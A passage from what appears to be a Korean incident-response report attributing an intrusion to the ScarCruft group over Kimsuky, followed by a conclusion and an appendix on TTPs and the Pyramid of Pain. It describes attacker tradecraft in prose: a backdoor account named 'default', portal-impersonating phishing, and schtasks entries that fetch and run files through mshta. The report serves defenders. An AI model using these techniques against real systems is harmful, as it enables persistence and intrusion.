Mobile_Detect.php
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5. Association 

2 피해 기업에 침투 이후 ‘default’ 명의 계정 생성 

S2W의 KIMSUKY 보고서에 따르면 Kimsuky 그룹은 침해한 기업에 백도어용 계정을 생성할때 default란 이름을 사용 

하는 특징이 있습니다. 이 때 default 계정은 Windows의 기본 계정이므로 해당 계정을 새로 생성하게 되면 default. 

[workstation 이름]의 계정이 생성됩니다.

ScarCruft이 피싱 메일 발송에 악용한 피해기업에서 백도어용 계정을 생성할 때 Kimsuky 그룹이 계정생성시 보여준 

특징과 동일하게 default란 이름으로 생성되었습니다.

https://vblocalhost.com/uploads/VB2021-Kim-etal.pdf
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5. Association 

3. Chinotto 악성코드 정보수집 서버에서 발송된 이메일

Chinotto 악성코드 정보수집 서버에서 발송한 피싱 이메일 형식과 Kimsuky의 공격자원 서버에서 발송한 이메일 형식이 

유사한것으로 확인되었습니다. 

두 메일 모두 동일 기관을 사칭한 피싱메일을 발송하였으며, 다른점은 Kimsuky의 피싱 이메일에서는 ‘쿠기 삭제 봉사’ 

라는 어색한 한국어를 구사한 반면 Scarcruft의 피싱 이메일에서는 ‘쿠키 삭제서비스’라는 한국에서 흔히 사용하는 

외래어로 표현해 자연스럽게 바뀌었습니다.

Kimsuky의 공격 자원 서버에서 발송한 피싱 이메일

Chinotto 악성코드 C2서버에서 발송한 피싱 이메일
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5. Association 

4. 작업스케줄러 등록 명령어의 파라미터가 유사 

파워셸을 통한 작업 스케둘러 등록시 코드를 비교해 보면, 두 공격에 schtasks 명령어가 사용되었으며, 옵션 값 순서 

역시 동일 합니다. 또한, 작업스케줄러를 통한 명령 수행 역시 둘 다 동일하게 mshta를 통해 추가 파일을 다운로드 

받아 실행시키는 동작을 수행하게 됩니다.

침해사고 분석과정에서 확인된 일부 사고에서 ScaCruft와 Kimsuky그룹의 특징이 일부 오버랩(overlap)되는 경우가 

있습니다. 다만 이 내용이 두 그룹의 자원이 일부 교집합(intersection)된다는 것이며, 부분집합(subset)이 아님을 

명심해야합니다. 최근 발생하고 있는 침해사고에서는 솔루션 악용이나 공개된 악성 소프트웨어등을 침투에 활발하게 

악용하고 있습니다. 때문에 침해사고에서의 공격기법의 중첩(overlap)이 빈번하게 발생하고 있습니다.
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6. Conclusion

우리는 일부 그룹과의 연관성에도 특정 그룹 고유의 악성코드를 활용한다는 점 등 침해사고에서 확인된 TTPs를 종합적으로 

분석한 결과, 본 사고의 공격 주체를 ScarCruft그룹의 소행으로 결론을 내었습니다.

공격그룹의 정의를 통해 확보할 수 있는 기대효과 중 하나는 대응의 우선순위를 결정할 수 있다는 점입니다. 공격그룹이 

공격캠페인에 사용하는 취약점, 공격도구 및 인프라는 어느정도 고정 되어 있으며 빈번하게 공격하는 타겟군 또한 마찬가지로 

유사합니다. 따라서 일련의 사건들이 가지는 TTPs를 분석하고 공격그룹을 명명하게 되면 해당 그룹이 어느 타겟을 주로 

공격하고 공격 목적이 무엇인지를 판단할 수 있습니다.

예를들어, ScarCruft는 한국에 거주하고 있는 특정 인물들의 정보를 수집하기 위해, 포털 사이트를 사칭한 피싱 이메일을 

통해 침투하고 그 과정에서 Chinotto 악성코드를 활용합니다. ScarCruft에 대한 분석 결과를 활용하여 최근 공격전략을 

공유함으로써 잠재적 피해자들에게 보안 위협을 환기할 수 있습니다. 이처럼 공격그룹을 명명하고 추적하게 되면 보호 대상의 

위협 우선순위를 설정하고 사전에 준비할 수 있습니다.

공격그룹의 분류가 방어자의 관점에서 활용하기 위함이라고 생각한다면, 고려해야 하는 사항은 공격그룹의 주된 목적과 

타겟은 무엇인지입니다. (향후 기준점이 변화할 수 있겠지만) 이러한 관점으로 침해사고를 비추어보면 Kimsuky와 유사한 

인프라가 사용되었음에도 불구하고 범용적으로 한국의 기업과 기관, 개인을 가리지 않고 공격하는 Kimsuky라고 판단하기 

보다 특정 인물을들의 정보를 수집하는 ScarCruft 그룹의 공격으로 판단하는 것이 적절해 보입니다.

우리는 공격그룹이 사용하는 캠페인의 명확한 TTPs를 분석하고, 확인된 TTPs를 기반으로 각 구간에서 드러나는 공격자의 

특징을 탐지 함으로써 공격자의 공격 속도를 늦출수 있도록 계속 노력할 것입니다.

Conclusion
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8.  Appendix A. Tactics, 
Techniques, and Procedures

해킹 사고가 지속 발생함에 따라 보안 요구 사항은 점점 더 까다로워지고 있으며 방어 시스템의 기능은 매우 높은 수준 

으로 발전하고 있다. 그렇지만, 과거의 침해사고들이 현재에도 여전히 발생하고 있으며, 방어 체계를 잘 갖춘 기업도 전혀 

예외는 아닙니다.

사이버보안에서 유명한 고통의 피라미드(The Pyramid of Pain)는 방어자가 TTPs(Tactics, Techniques, and Procedures)와 

같은 공격자의 전략과 전술, 그리고 그 과정을 이해하고 방어 체계를 운영하는 것이 가장 효과적임을 잘 표현하고 있다. 

보안은 공격자를 Tough!한 단계로 끌고 가는 것 입니다.

여전히, IoC(Indicator of Compromise, 악성IP - 악성 도메인 등 단순 지표) 기반의 방어 체계는 매우 유용합니다. 다만, 

공격자는 단순 지표와 관련된 공격 인프라를 쉽게 확보하고 버릴 수 있습니다.

하지만 TTPs는 그렇지 않습니다. 공격자는 TTPs를 쉽게 확보 

하거나 버리기 어렵습니다. 타깃이 정해진 공격자는 타깃의 

방어 환경을 무력화하기 위해 많은 시간을 들여서 TTPs를 

학습하고 연습해 확보된 TTPs를 지속 활용할 수 있는 대상들이 

새로운 타깃이 되게 됩니다.

공격자의 TTPs는 언제나 방어 환경의 특성과 맞물려 있습니다. 

그래서, 방어자는 방어 환경에 대해 정확히 이해하고 있어야 

하며, 공격의 흐름과 과정을 패턴이나 기법이 아닌 전략 전술 

관점으로 보아야 합니다. 

방어자의 환경과 공격자의 TTPs는 함께 이야기 되어야 합니다. TTPs를 이해한 방어자는 '공격자의 TTPs가 방어자 환경에 

유효한 것인지' 여부와, '유효하다면 TTPs를 무력화할 수 있는 방어 전략은 무엇인지' 등 2가지를 설명할 수 있습니다.

한국인터넷진흥원(이하 KISA)은 침해사고 대응 과정을 통해 공격자의 TTPs를 파악하고 있으며, 그 과정 및 대응방안을  

ATT&CK Framework 기반으로 작성하여 배포합니다. 보고서에 포함되어 있는 공격의 TTPs와 관련된 다양한 흔적들(Artifacts)은 

TTPs에 대한 이해를 돕는 수단입니다.

Appendix A. Tactics, Techniques,  
and Procedures

고통의 피라미드, David J Bianco
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